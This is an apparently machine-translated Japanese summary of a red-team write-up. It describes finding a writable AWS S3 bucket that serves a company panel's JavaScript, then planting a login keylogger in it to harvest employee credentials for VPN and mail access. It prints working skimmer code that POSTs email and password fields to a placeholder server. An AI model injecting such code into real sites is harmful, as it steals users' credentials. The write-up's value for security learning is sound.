From S3 bucket to internal network operation から学ぶ

Bug Report

ソース：

medium.com

脆弱性：AWS S3

 

訳：

さまざまなユースケースのために人気を博した AWS の S3 バケットについてよく知っていて。
Web サイトの静的ファイル (JavaScript、CSS、HTML、画像) のホスティングから、PII を含む機密ファイルのクラウド ストレージまで。

 

GrayhatWarfare ( https://grayhatwarfare.com/ )を見ると、開いたままになっている何千もの異なるクラウド ストレージ ユニット (AWS、Azure、Google、DigitalOcean) が表示され、誰でもファイルを読み取ることができます。
誰でもこれらのストレージ ユニットへの書き込み権限を持つことができます。  

 

これは、インターネット上の同意がそれほど多くない企業とのレッド チームの関与であり、外部の観点から見ると攻撃対象領域が小さいことを意味して。

ドメインとサブドメインの列挙から始めて、次のアセットを見つ。

 

  • redacted.com — クライアントが製品を消費するメイン Web サイト
  • dev.redacted.com — ステージング Web サイト、 403 (禁止) を与える 認証されていないユーザーに
  • panel.redacted.com — クライアント と Web サイト管理者用の別のサブドメイン
  • Internal.redacted.com — 会社の従業員用の VPN サーバー。 403 (禁止) を与えます。 認証されていないユーザーには
  • mail.redacted.com — 会社の従業員用のメール サーバー。 403 (禁止) を与えます。 認証されていないユーザーには
  • api.redacted.com — アカウントのサブドメインの API サーバー

これらすべての資産に対して徹底的な Web 侵入テストを実行しましたが、パネル サブドメイン内のそれほど興味深い IDOR を除いて、重大な脆弱性は実際には発生せず。

パネルのサブドメインの HTML および Javascript ファイルの調査に移り、すぐに、ウェブサイトが AWS S3 バケット redactedstatic.s3.amazonaws.com からいくつかの静的 JS ファイルを呼び出していることに気付き。

そこで、バケットにアクセスできるかどうかを試して。

 

ターゲットのS3バケットへのアクセス

 

ただし、書き込み権限があるかどうかはまだわかりません。
それでは試してみましょう: 

 

ターゲットのS3バケットへのファイルのアップロード

これで、panel.redacted.com が使用する静的ファイルに対する読み取りと書き込みのアクセス許可があることがわかり。
次のようなアイデアを思いつき。

  • 改ざん — 冗談ですが、レッドチームに時間を割く価値はありません
  • ユーザーの Cookie を盗むスクリプトを作成する
  • ログイン ページにキーロガーを書き込み、ユーザーと マネージャーの 資格情報を盗む

私は次の理由から 3 番目のオプションを選択することにし。
会社の従業員もパネルのサブドメインを使用していることがわかっているため、彼らの資格情報を盗めば、会社の VPN にログインするために使用できるかもしれません。

それが私がやったことです。
次の JavaScript コード (難読化後) を S3 バケット内の既存の JS ファイルに埋め込みました。

 

document.getElementById('login').addEventListener('click', function() {
var username = document.getElementById('email').value;
var password = document.getElementById('password').value;

var credentials = {
username: username,
password: password
};

var req = {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(credentials)
};

fetch('https://MY-SERVER', req);

});

 

悪意のあるコードを Web サイトに挿入した後、サーバーに多数のユーザー名とパスワードを受信し始め。
クライアントではなくターゲット自体にのみ焦点を当てるため、ユーザー名 (@redacted.com) 内のターゲットの電子メール ドメインのみをフィルター処理し。

幸いなことに、私は 1 日で ターゲットの従業員の有効な資格情報を 11 件以上 収集し、Linkedin を調査した結果、そのうちの何人かは幹部や技術スタッフであることが判明して。

これらの資格情報の一部を使用して VPN に正常にログインし、その後ターゲットのメール サーバーにログインし。

 

ほなほな。